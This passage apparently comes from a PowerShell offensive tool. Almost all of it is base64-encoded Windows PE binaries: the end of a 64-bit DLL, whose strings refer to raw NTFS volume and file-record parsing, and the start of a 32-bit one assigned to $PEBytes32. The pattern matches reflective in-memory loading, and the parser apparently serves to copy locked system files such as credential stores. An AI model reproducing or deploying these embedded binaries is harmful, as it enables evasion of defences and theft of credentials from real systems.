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CsEKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAAAAUAEACAIAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQCmEKYgpjCmQKZQpmCmcKaAppCmoKawpsCm2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAGABAKwAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIoliiaKJ4ooiimKKooriiyKLYouii+KIIoxijKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUAAABwAQDMAAAAcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo1CjWKNgo2ijcKN4owCAAQDMAAAA2KLgouii8KL4ogCjCKMQoxijIKMoozCjOKNAo0ijUKNYo2CjaKNwo3ijgKOIo5CjmKOgo6ijsKO4o8CjyKPQo9ij4KPoo/Cj+KMApAikEKQYpCCkKKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikoKSopLCkuKTApMik0KTYpOCk6KTwpPikAKUIpRClGKUgpSilMKU4pUClSKVQpVilYKVopXCleKWApYilkKWYpaClqKWwpbilwKXIpdCl2KU4qQDAAQAkAQAAAKAooFCgeKCgoNCgGKNQplimYKZopnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcopzCnOKdAp0inUKdYp2CnaKdwp3ingKeIp5CnmKegp7CnuKfAp8in0KfYp+Cn6Kfwp/inAKgIqBCoGKggqCioMKg4qECoSKhQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqVipeKmYqbip2KkQqiiqMKo4qkCqiKqQqpiqaKzQrtiu4K7orvCu+K4ArwivEK8YryivMK84r0CvSK9Qr1ivYK9or3CveK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr+Cv8K8A0AEASAAAAKij4KMYpEikgKS4pPikMKVopaCl4KUQpjimYKaIprCm2KYApyinUKd4p6in4KcQqDioYKiAqKioyKjQqNioAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + [String]$PEBytes32 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAnk97oY/Kwu2PysLtj8rC7kjR9u2zysLuSNH67A/Kwu5I0f7tJ8rC7aooju2DysLtj8rG7MfKwu6EeY7tg8rC7oR56u2LysLuhHnm7YvKwu6EefLti8rC7UmljaGPysLsAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQDRFRRSAAAAAAAAAADgAAIhCwELAADcAAAA6AAAAAAAAH9hAAAAEAAAAPAAAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAEAIAAAQAAAAAAAACAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA4GABAIkAAADEWgEAKAAAAACwAQDgAQAAAAAAAAAAAAAAAAAAAAAAAADAAQBEFQAAYPEAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIRQEAQAAAAAAAAAAAAAAAAPAAABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dA